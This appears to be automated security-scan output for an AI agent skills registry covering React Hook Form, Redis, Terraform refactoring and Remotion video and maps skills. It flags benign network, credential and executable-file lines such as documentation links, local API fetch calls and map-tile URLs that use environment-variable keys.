"references": [ "https://react-hook-form.com/docs", "https://react-hook-form.com/advanced-usage", - Network accessline 8
"https://react-hook-form.com/docs", - Network accessline 9
"https://react-hook-form.com/advanced-usage", - Network accessline 10
"https://react-hook-form.com/docs/useform", - Network accessline 11
"https://react-hook-form.com/docs/useform/subscribe", - Network accessline 12
"https://react-hook-form.com/docs/useform/seterror", - Network accessline 13
"https://react-hook-form.com/docs/useform/setvalue", - Network accessline 14
"https://react-hook-form.com/docs/useform/handlesubmit", - Network accessline 15
"https://react-hook-form.com/docs/useform/register", - Network accessline 16
"https://react-hook-form.com/docs/useform/resetdefaultvalues", - Network accessline 17
"https://react-hook-form.com/docs/useform/formstate", - Network accessline 18
"https://react-hook-form.com/docs/usewatch", - Network accessline 19
"https://react-hook-form.com/docs/usecontroller", - Network accessline 20
"https://react-hook-form.com/docs/usefieldarray", - Network accessline 21
"https://react-hook-form.com/docs/useformstate", - Network accessline 22
"https://github.com/react-hook-form/react-hook-form/releases", - Network accessline 23
"https://github.com/react-hook-form/resolvers", - Network accessline 24
"https://ui.shadcn.com/docs/components/form"
packages/autoskills/skills-registry/react-hook-form/references/array-disabled-silently-noops.md
- Network accessline 56
Reference: [useFieldArray](https://react-hook-form.com/docs/usefieldarray)
packages/autoskills/skills-registry/react-hook-form/references/array-separate-crud-operations.md
- Network accessline 76
Reference: [useFieldArray](https://react-hook-form.com/docs/usefieldarray)
packages/autoskills/skills-registry/react-hook-form/references/array-unique-fieldarray-per-name.md
- Network accessline 58
Reference: [useFieldArray](https://react-hook-form.com/docs/usefieldarray)
packages/autoskills/skills-registry/react-hook-form/references/array-use-field-id-as-key.md
- Network accessline 56
Reference: [useFieldArray](https://react-hook-form.com/docs/usefieldarray)
packages/autoskills/skills-registry/react-hook-form/references/ctrl-controller-field-props.md
- Network accessline 56
Reference: [useController](https://react-hook-form.com/docs/usecontroller)
packages/autoskills/skills-registry/react-hook-form/references/ctrl-usecontroller-isolation.md
- Network accessline 80
Reference: [useController](https://react-hook-form.com/docs/usecontroller) · [Controller](https://react-hook-form.com/docs/usecontroller/controller)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-async-default-values.md
- Network accessline 69
Reference: [useForm - defaultValues](https://react-hook-form.com/docs/useform)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-default-values.md
- Network accessline 58
Reference: [useForm - defaultValues](https://react-hook-form.com/docs/useform)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-disabled-prop.md
- Network accessline 83
Reference: [register - disabled](https://react-hook-form.com/docs/useform/register)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-revalidate-mode.md
- Network accessline 58
Reference: [useForm - reValidateMode](https://react-hook-form.com/docs/useform)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-should-unregister.md
- Network accessline 56
Reference: [useForm - shouldUnregister](https://react-hook-form.com/docs/useform)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-transformed-values-generic.md
- Network accessline 70
Reference: [useForm](https://react-hook-form.com/docs/useform) · [React Hook Form Resolvers](https://github.com/react-hook-form/resolvers)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-useeffect-dependency.md
- Network accessline 62
Reference: [useForm](https://react-hook-form.com/docs/useform) · [formState](https://react-hook-form.com/docs/useform/formstate)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-validation-mode.md
- Network accessline 55
Reference: [useForm - mode](https://react-hook-form.com/docs/useform)
packages/autoskills/skills-registry/react-hook-form/references/formcfg-values-prop.md
- Network accessline 61
Reference: [useForm - values](https://react-hook-form.com/docs/useform)
packages/autoskills/skills-registry/react-hook-form/references/formstate-async-submit-lifecycle.md
- Network accessline 18
const onSubmit = async (data: PostFormData) => { const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) }) - Network accessline 19
const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) }) - Network accessline 46
const onSubmit = async (data: PostFormData) => { try { const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) }) - Network accessline 47
try { const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) }) if (!res.ok) { - Network accessline 48
const res = await fetch('/api/posts', { method: 'POST', body: JSON.stringify(data) }) - Network accessline 79
Reference: [formState](https://react-hook-form.com/docs/useform/formstate) · [reset](https://react-hook-form.com/docs/useform/reset) · [Discussion #10103 — isSubmitting does not recover when submit handler throws](https://github.com/orgs/re
packages/autoskills/skills-registry/react-hook-form/references/formstate-avoid-isvalid-with-onsubmit.md
- Network accessline 65
Reference: [useForm - mode](https://react-hook-form.com/docs/useform)
packages/autoskills/skills-registry/react-hook-form/references/formstate-destructure-formstate.md
- Network accessline 49
Reference: [formState](https://react-hook-form.com/docs/useform/formstate) · [useFormState](https://react-hook-form.com/docs/useformstate)
packages/autoskills/skills-registry/react-hook-form/references/formstate-handlesubmit-oninvalid.md
- Network accessline 57
Reference: [handleSubmit](https://react-hook-form.com/docs/useform/handlesubmit)
packages/autoskills/skills-registry/react-hook-form/references/formstate-reset-default-values.md
- Network accessline 70
Reference: [useForm - resetDefaultValues](https://react-hook-form.com/docs/useform/resetdefaultvalues)
packages/autoskills/skills-registry/react-hook-form/references/formstate-useformstate-isolation.md
- Network accessline 71
Reference: [useFormState](https://react-hook-form.com/docs/useformstate)
packages/autoskills/skills-registry/react-hook-form/references/integ-shadcn-form-import.md
- Network accessline 64
Reference: [shadcn Form](https://ui.shadcn.com/docs/components/form)
packages/autoskills/skills-registry/react-hook-form/references/integ-shadcn-select-wiring.md
- Network accessline 64
Reference: [shadcn Select](https://ui.shadcn.com/docs/components/select)
packages/autoskills/skills-registry/react-hook-form/references/integ-value-transform.md
- Network accessline 59
Reference: [React Hook Form - Advanced Usage](https://react-hook-form.com/advanced-usage)
packages/autoskills/skills-registry/react-hook-form/references/sub-avoid-watch-in-render.md
- Network accessline 48
Reference: [useForm - getValues](https://react-hook-form.com/docs/useform/getvalues)
packages/autoskills/skills-registry/react-hook-form/references/sub-memo-cannot-beat-context.md
- Network accessline 51
Reference: [FormProvider](https://react-hook-form.com/docs/formprovider) · [useFormState](https://react-hook-form.com/docs/useformstate)
packages/autoskills/skills-registry/react-hook-form/references/sub-render-prop-components.md
- Network accessline 76
Reference: [useWatch](https://react-hook-form.com/docs/usewatch) · [useFieldArray](https://react-hook-form.com/docs/usefieldarray)
packages/autoskills/skills-registry/react-hook-form/references/sub-subscribe-outside-react.md
- Network accessline 92
Reference: [subscribe](https://react-hook-form.com/docs/useform/subscribe) · [Release notes v7.55.0](https://github.com/react-hook-form/react-hook-form/releases/tag/v7.55.0)
packages/autoskills/skills-registry/react-hook-form/references/sub-useformcontext-sparingly.md
- Network accessline 58
Reference: [useFormContext](https://react-hook-form.com/docs/useformcontext)
packages/autoskills/skills-registry/react-hook-form/references/sub-usewatch-over-watch.md
- Network accessline 60
Reference: [useWatch](https://react-hook-form.com/docs/usewatch)
packages/autoskills/skills-registry/react-hook-form/references/sub-watch-specific-fields.md
- Network accessline 54
Reference: [useForm - watch](https://react-hook-form.com/docs/useform/watch)
packages/autoskills/skills-registry/react-hook-form/references/valid-delay-error.md
- Network accessline 62
Reference: [useForm - delayError](https://react-hook-form.com/docs/useform) · [useForm - setValue](https://react-hook-form.com/docs/useform/setvalue)
packages/autoskills/skills-registry/react-hook-form/references/valid-resolver-caching.md
- Network accessline 82
Reference: [React Hook Form Resolvers](https://github.com/react-hook-form/resolvers)
packages/autoskills/skills-registry/react-hook-form/references/valid-server-errors.md
- Network accessline 18
const onSubmit = async (data: LoginFormData) => { const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) }) - Network accessline 19
const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) }) - Network accessline 47
clearErrors('root.serverError') try { const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) }) - Network accessline 48
try { const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) }) if (!res.ok) { - Network accessline 49
const res = await fetch('/api/login', { method: 'POST', body: JSON.stringify(data) }) - Network accessline 85
Reference: [setError](https://react-hook-form.com/docs/useform/seterror) · [Discussion #9691 — Handle global/server errors](https://github.com/orgs/react-hook-form/discussions/9691)
packages/autoskills/skills-registry/react-hook-form/references/valid-valueasnumber-empty-nan.md
- Network accessline 68
Reference: [register - valueAsNumber](https://react-hook-form.com/docs/useform/register)
packages/autoskills/skills-registry/redis-core/SKILL.md
packages/autoskills/skills-registry/redis-core/references/choose-data-structure.md
- Network accessline 67
Reference: [Choosing the Right Data Type](https://redis.io/docs/latest/develop/data-types/compare-data-types/)
packages/autoskills/skills-registry/redis-core/references/key-naming.md
- Network accessline 41
// Bad: Using full URL as key wastes memory and slows comparisons jedis.set("http://www.verylongurlkey.com/store/products/product.html?id=8361", - Network accessline 42
jedis.set("http://www.verylongurlkey.com/store/products/product.html?id=8361", - Network accessline 53
Reference: [Redis Keys](https://redis.io/docs/latest/develop/use/keyspace/)
packages/autoskills/skills-registry/refactor-module/SKILL.md
- Network accessline 527
# Use semantic versioning for modules module "vpc" { source = "git::https://github.com/org/terraform-modules.git//vpc?ref=v1.2.0" - Network accessline 528
module "vpc" { source = "git::https://github.com/org/terraform-modules.git//vpc?ref=v1.2.0" version = "~> 1.2" - Network accessline 529
source = "git::https://github.com/org/terraform-modules.git//vpc?ref=v1.2.0" - Network accessline 548
## Related Skills - [Terraform code generation](https://raw.githubusercontent.com/hashicorp/agent-skills/refs/heads/main/plugins/terraform/skills/terraform-style-guide/SKILL.md) - Style guide for the new Terraform Module - Network accessline 549
- [Terraform code generation](https://raw.githubusercontent.com/hashicorp/agent-skills/refs/heads/main/plugins/terraform/skills/terraform-style-guide/SKILL.md) - Style guide for the new Terraform Module - Network accessline 550
- [Azure Verified Modules](https://raw.githubusercontent.com/hashicorp/agent-skills/refs/heads/main/plugins/terraform/skills/azure-verified-modules/SKILL.md) - Recommended module specifications for Azure - Network accessline 552
## Resources - [Terraform Module Development](https://developer.hashicorp.com/terraform/language/modules/develop) - Network accessline 553
- [Terraform Module Development](https://developer.hashicorp.com/terraform/language/modules/develop) - Network accessline 554
- [Module Best Practices](https://developer.hashicorp.com/terraform/cloud-docs/registry/design)
packages/autoskills/skills-registry/remotion-best-practices/SKILL.md
- Network accessline 60
If the server is already started, it will print the URL. If you use `--no-open`, open the exact printed URL in the in-app browser and verify that Studio loads. Once a composition exists, verify that its video preview loads. If you cannot op - Network accessline 62
You can visit a specific composition by navigating to `/[composition-id]`, for example `http://localhost:3000/MapAnimation`.
packages/autoskills/skills-registry/remotion-best-practices/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/REFERENCE.md
- Network accessline 7
All captions must be processed in JSON. The captions must use the [`Caption`](https://www.remotion.dev/docs/captions/caption.md) type which is the following:
packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/display-captions.md
- Network accessline 10
This guide explains how to display captions in Remotion, assuming you already have captions in the [`Caption`](https://www.remotion.dev/docs/captions/caption.md) format. - Network accessline 16
First, the [`@remotion/captions`](https://www.remotion.dev/docs/captions.md) package needs to be installed. - Network accessline 28
Use the [Basic Captions](https://www.remotion.dev/elements/captions/basic-captions) element to display captions. - Network accessline 30
Alternatives are available at [Remotion Captions Elements](https://www.remotion.dev/elements/captions), but use Basic Captions unless there are more precise specifications. - Network accessline 32
Fetch its source code from https://www.remotion.dev/elements/captions/basic-captions.md and copy the `basic-captions.tsx` file into the project unchanged.
packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/import-srt-captions.md
- Network accessline 41
const fetchCaptions = useCallback(async () => { try { const response = await fetch(staticFile("subtitles.srt")); - Network accessline 42
try { const response = await fetch(staticFile("subtitles.srt")); const text = await response.text(); - Network accessline 43
const response = await fetch(staticFile("subtitles.srt")); - Network accessline 69
Remote URLs are also supported - you can `fetch()` a remote file via URL instead of using `staticFile()`.
packages/autoskills/skills-registry/remotion-best-practices/remotion-captions/transcribe-captions.md
- Network accessline 3
To transcribe audio to generate captions in Remotion, use the [`transcribe()`](https://www.remotion.dev/docs/whisper-webgpu/transcribe.md) function from the [`@remotion/whisper-webgpu`](https://www.remotion.dev/docs/whisper-webgpu.md) packa - Network accessline 139
`small.en` is the recommended default for English. For other languages, use a multilingual model such as `small` and pass the `language` option to `transcribe()` - automatic language detection is not supported. See [`getAvailableModels( - Network accessline 141
See [`getAvailableModels()`](https://www.remotion.dev/docs/whisper-webgpu/get-available-models.md) for all models. - Network accessline 145
In the browser, use [`resampleTo16Khz()`](https://www.remotion.dev/docs/whisper-webgpu/resample-to-16khz.md) to get the waveform from a `File` instead of using Mediabunny:
packages/autoskills/skills-registry/remotion-best-practices/remotion-create/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-create/tailwind.md
- Network accessline 11
Tailwind must be installed and enabled first in a Remotion project - see https://www.remotion.dev/docs/tailwind.
packages/autoskills/skills-registry/remotion-best-practices/remotion-docs/REFERENCE.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-docs/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-interactivity/REFERENCE.md
- Network accessline 36
<Video name="Background footage" src="https://remotion.media/video.mp4" - Network accessline 37
name="Background footage" src="https://remotion.media/video.mp4" premountFor={fps} - Network accessline 38
src="https://remotion.media/video.mp4" - Network accessline 119
Nested markup and computed children are currently read-only. `text-content` is a deprecated alias for the `string` field type. See [`InteractivitySchema`](https://www.remotion.dev/docs/interactivity-schema) for all options. - Network accessline 121
See [`InteractivitySchema`](https://www.remotion.dev/docs/interactivity-schema) for all options. - Network accessline 262
Launch day </Interactive.Div> <Img name="Avatar" src="https://remotion.media/image.jpeg" /> - Network accessline 263
</Interactive.Div> <Img name="Avatar" src="https://remotion.media/image.jpeg" /> <Video name="Background" src="https://remotion.media/video.mp4" /> - Network accessline 264
<Img name="Avatar" src="https://remotion.media/image.jpeg" /> - Network accessline 265
<Video name="Background" src="https://remotion.media/video.mp4" /> - Network accessline 479
To make a custom userland component interactive, use: [Make a component interactive](https://www.remotion.dev/docs/studio/make-component-interactive.md) - Network accessline 480
[Make a component interactive](https://www.remotion.dev/docs/studio/make-component-interactive.md)
packages/autoskills/skills-registry/remotion-best-practices/remotion-interactivity/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/TECHNIQUE.md
- Network accessline 23
Create a MapTiler key at https://cloud.maptiler.com/account/keys/. - Access to secretsline 28
[Credential-related source omitted] - Network accessline 31
Create a billing-enabled Google Map Tiles API key by following https://developers.google.com/maps/documentation/tile/get-api-key. Enable the **Map Tiles API** and - Network accessline 32
https://developers.google.com/maps/documentation/tile/get-api-key. Enable the **Map Tiles API** and restrict the key to that API. Ensure its application restriction permits local headless Remotion requests.
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/assets/CesiumFlythrough.tsx
- Executable scriptline 1
Executable file - Access to secretsline 29
[Credential-related source omitted] - Network accessline 30
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 31
const CESIUM_VER = '1.143'; const CDN = `https://cesium.com/downloads/cesiumjs/releases/${CESIUM_VER}/Build/Cesium/`; const R = 6371; - Network accessline 32
const CDN = `https://cesium.com/downloads/cesiumjs/releases/${CESIUM_VER}/Build/Cesium/`; - Network accessline 177
if (mode === 'landscape' && !MAPTILER_KEY) { throw new Error( 'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/', - Network accessline 178
throw new Error( 'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/', ); - Network accessline 179
'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/', - Network accessline 182
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Network accessline 183
throw new Error( 'Set REMOTION_GOOGLE_MAPS_API_KEY. Create a Map Tiles API key at https://developers.google.com/maps/documentation/tile/get-api-key', ); - Network accessline 184
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Network accessline 209
viewer.imageryLayers.addImageryProvider( new C.UrlTemplateImageryProvider({ url: `https://api.maptiler.com/tiles/satellite-v2/{z}/{x}/{y}.jpg?key=${MAPTILER_KEY}`, - Network accessline 210
new C.UrlTemplateImageryProvider({ url: `https://api.maptiler.com/tiles/satellite-v2/{z}/{x}/{y}.jpg?key=${MAPTILER_KEY}`, maximumLevel: 20, - Network accessline 211
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Network accessline 214
); viewer.terrainProvider = await C.CesiumTerrainProvider.fromUrl( `https://api.maptiler.com/tiles/terrain-quantized-mesh-v2/?key=${MAPTILER_KEY}`, - Network accessline 215
viewer.terrainProvider = await C.CesiumTerrainProvider.fromUrl( `https://api.maptiler.com/tiles/terrain-quantized-mesh-v2/?key=${MAPTILER_KEY}`, {requestVertexNormals: true}, - Network accessline 216
[Credential-related source omitted] - Access to secretsline 216
[Credential-related source omitted] - Network accessline 219
viewer.creditDisplay.addStaticCredit( new C.Credit( '<a href="https://www.maptiler.com/copyright/" target="_blank">© MapTiler</a>', - Network accessline 220
new C.Credit( '<a href="https://www.maptiler.com/copyright/" target="_blank">© MapTiler</a>', true, - Network accessline 221
'<a href="https://www.maptiler.com/copyright/" target="_blank">© MapTiler</a>', - Network accessline 227
viewer.scene.globe.show = false; const tileset = await C.Cesium3DTileset.fromUrl( `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_MAPS_API_KEY}`, - Network accessline 228
const tileset = await C.Cesium3DTileset.fromUrl( `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_MAPS_API_KEY}`, { - Network accessline 229
[Credential-related source omitted] - Access to secretsline 229
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/assets/example-Root.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/assets/flight-path.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/references/3d-data-sources.md
- Network accessline 14
- https://cloud.maptiler.com/account/keys/ - Network accessline 18
- https://docs.maptiler.com/cesium/ - Network accessline 19
- https://docs.maptiler.com/schema-raster/terrain-3d/ - Access to secretsline 25
[Credential-related source omitted] - Network accessline 29
- https://developers.google.com/maps/documentation/tile/get-api-key - Network accessline 36
- https://developers.google.com/maps/documentation/tile/3d-tiles - Network accessline 37
- https://developers.google.com/maps/documentation/tile/policies
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/references/3d-flyover-architecture.md
- Network accessline 22
viewer.scene.globe.show = false; const tileset = await Cesium.Cesium3DTileset.fromUrl( `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_KEY}`, - Network accessline 23
const tileset = await Cesium.Cesium3DTileset.fromUrl( `https://tile.googleapis.com/v1/3dtiles/root.json?key=${GOOGLE_KEY}`, {showCreditsOnScreen: true, maximumScreenSpaceError: 4}, - Network accessline 24
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/cesium/scripts/prep-cesium-path.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/mapbox/TECHNIQUE.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maplibre/TECHNIQUE.md
- Network accessline 83
URL.createObjectURL( new Blob( [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], - Network accessline 84
new Blob( [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], {type: 'text/javascript'}, - Network accessline 85
[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], - Network accessline 91
const mapInstance = new maplibregl.Map({ container: containerRef.current, style: 'https://demotiles.maplibre.org/style.json', - Network accessline 92
container: containerRef.current, style: 'https://demotiles.maplibre.org/style.json', center: zurich, - Network accessline 93
style: 'https://demotiles.maplibre.org/style.json', - Network accessline 228
URL.createObjectURL( new Blob( [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], - Network accessline 229
new Blob( [`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], {type: 'text/javascript'}, - Network accessline 230
[`import "https://unpkg.com/maplibre-gl@${maplibregl.getVersion()}/dist/maplibre-gl-worker.mjs";`], - Network accessline 236
const mapInstance = new maplibregl.Map({ container: containerRef.current, style: 'https://demotiles.maplibre.org/style.json', - Network accessline 237
container: containerRef.current, style: 'https://demotiles.maplibre.org/style.json', center: zurich, - Network accessline 238
style: 'https://demotiles.maplibre.org/style.json', - Network accessline 471
style: 'https://demotiles.maplibre.org/style.json'
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/TECHNIQUE.md
- Network accessline 13
Use `jumpTo` only for a static shot, or a fixed map plate for any pan/zoom. Gate with [`delayRender`](https://www.remotion.dev/docs/delay-render.md) until `map.once('idle')`. - Network accessline 14
Gate with [`delayRender`](https://www.remotion.dev/docs/delay-render.md) until `map.once('idle')`. - Network accessline 18
Render labels as positioned [`<Interactive.Div>`](https://www.remotion.dev/docs/interactive.md) elements. - Access to secretsline 20
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/CountryLabel.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/MapTilerVectorElement.ts
- Executable scriptline 1
Executable file - Network accessline 27
map.addSource(SOURCE_ID, { type: 'vector', url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`, - Network accessline 28
type: 'vector', url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`, }); - Network accessline 29
url: `https://api.maptiler.com/tiles/v3/tiles.json?key=${apiKey}`, - Access to secretsline 63
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/RiverReveal.tsx
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/example-Root.tsx
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/assets/tokens.ts
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/references/map-data-sources.md
- Access to secretsline 38
[Credential-related source omitted]
packages/autoskills/skills-registry/remotion-best-practices/remotion-maps/techniques/maptiler/scripts/prep-geo.mjs
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/REFERENCE.md
- Network accessline 131
style={{ width: 100, height: 100 }} /> <Video src="https://remotion.media/video.mp4" premountFor={fps} /> - Network accessline 132
/> <Video src="https://remotion.media/video.mp4" premountFor={fps} /> <AnimatedImage src={staticFile('nyancat.gif')} premountFor={fps} /> - Network accessline 133
<Video src="https://remotion.media/video.mp4" premountFor={fps} /> - Network accessline 162
<Video name="Background" src="https://remotion.media/video.mp4" - Network accessline 163
name="Background" src="https://remotion.media/video.mp4" premountFor={fps} - Network accessline 164
src="https://remotion.media/video.mp4"
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/audio-visualization.md
- Network accessline 18
Use `useWindowedAudioData()` (https://www.remotion.dev/docs/use-windowed-audio-data) to load audio data: - Network accessline 37
Use `visualizeAudio()` (https://www.remotion.dev/docs/visualize-audio) to get frequency data for bar charts: - Network accessline 91
Use `visualizeAudioWaveform()` (https://www.remotion.dev/docs/media-utils/visualize-audio-waveform) with `createSmoothSvgPath()` (https://www.remotion.dev/docs/media-utils/create-smooth-svg-path) for oscilloscope-style displays: - Network accessline 163
Use `getWaveformPortion()` (https://www.remotion.dev/docs/get-waveform-portion) when you need simplified volume data instead of frequency spectrum:
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/audio.md
- Network accessline 37
<Audio src="https://remotion.media/audio.mp3" />
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/calculate-metadata.md
- Network accessline 20
width={1920} height={1080} defaultProps={{ videoSrc: "https://remotion.media/video.mp4" }} - Network accessline 21
height={1080} defaultProps={{ videoSrc: "https://remotion.media/video.mp4" }} calculateMetadata={calculateMetadata} - Network accessline 22
defaultProps={{ videoSrc: "https://remotion.media/video.mp4" }} - Network accessline 110
abortSignal, }) => { const response = await fetch(props.dataUrl, { signal: abortSignal }); - Network accessline 111
}) => { const response = await fetch(props.dataUrl, { signal: abortSignal }); const data = await response.json(); - Network accessline 112
const response = await fetch(props.dataUrl, { signal: abortSignal });
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/compositions.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/effects.md
- Network accessline 11
Docs: https://www.remotion.dev/docs/effects - Network accessline 12
Custom effect docs: https://www.remotion.dev/docs/create-effect - Network accessline 44
<Video src="https://remotion.media/video.mp4" - Network accessline 45
src="https://remotion.media/video.mp4" - Network accessline 78
<Video src="https://remotion.media/video.mp4" - Network accessline 79
src="https://remotion.media/video.mp4"
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/embedding-videos.md
- Network accessline 36
<Video src="https://remotion.media/video.mp4" />
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/gifs.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/html-in-canvas.md
- Network accessline 102
For a fully working minimal example, see https://github.com/remotion-dev/remotion/blob/main/packages/docs/components/demos/HtmlInCanvasDocsDemoWebGL.tsx.
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/lottie.md
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/motion-blur.md
- Network accessline 60
If HTML-in-canvas is unavailable, see the [motion blur guide](https://www.remotion.dev/docs/motion-blur) for other options. See the [`<HtmlInCanvasMotionBlur>` reference](https://www.remotion.dev/docs/motion-blur/html-in-canvas-motion-blur)
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/assets/remotion-icon.svg
- Network accessline 1
<svg width="100" height="100" viewBox="20 30 363 363" xmlns="http://www.w3.org/2000/svg">
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/TECHNIQUE.md
- Network accessline 23
Create a MapTiler key at https://cloud.maptiler.com/account/keys/. - Access to secretsline 28
[Credential-related source omitted] - Network accessline 31
Create a billing-enabled Google Map Tiles API key by following https://developers.google.com/maps/documentation/tile/get-api-key. Enable the **Map Tiles API** and - Network accessline 32
https://developers.google.com/maps/documentation/tile/get-api-key. Enable the **Map Tiles API** and restrict the key to that API. Ensure its application restriction permits local headless Remotion requests.
packages/autoskills/skills-registry/remotion-best-practices/remotion-markup/remotion-maps/techniques/cesium/assets/CesiumFlythrough.tsx
- Executable scriptline 1
Executable file - Access to secretsline 29
[Credential-related source omitted] - Network accessline 30
[Credential-related source omitted] - Access to secretsline 30
[Credential-related source omitted] - Network accessline 31
const CESIUM_VER = '1.143'; const CDN = `https://cesium.com/downloads/cesiumjs/releases/${CESIUM_VER}/Build/Cesium/`; const R = 6371; - Network accessline 32
const CDN = `https://cesium.com/downloads/cesiumjs/releases/${CESIUM_VER}/Build/Cesium/`; - Network accessline 177
if (mode === 'landscape' && !MAPTILER_KEY) { throw new Error( 'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/', - Network accessline 178
throw new Error( 'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/', ); - Network accessline 179
'Set REMOTION_MAPTILER_KEY. Create a key at https://cloud.maptiler.com/account/keys/', - Network accessline 182
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Network accessline 183
throw new Error( 'Set REMOTION_GOOGLE_MAPS_API_KEY. Create a Map Tiles API key at https://developers.google.com/maps/documentation/tile/get-api-key', ); - Network accessline 184
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Network accessline 209
viewer.imageryLayers.addImageryProvider( new C.UrlTemplateImageryProvider({ url: `https://api.maptiler.com/tiles/satellite-v2/{z}/{x}/{y}.jpg?key=${MAPTILER_KEY}`, - Network accessline 210
new C.UrlTemplateImageryProvider({ url: `https://api.maptiler.com/tiles/satellite-v2/{z}/{x}/{y}.jpg?key=${MAPTILER_KEY}`, maximumLevel: 20, - Network accessline 211
[Credential-related source omitted] - Access to secretsline 211
[Credential-related source omitted] - Network accessline 214
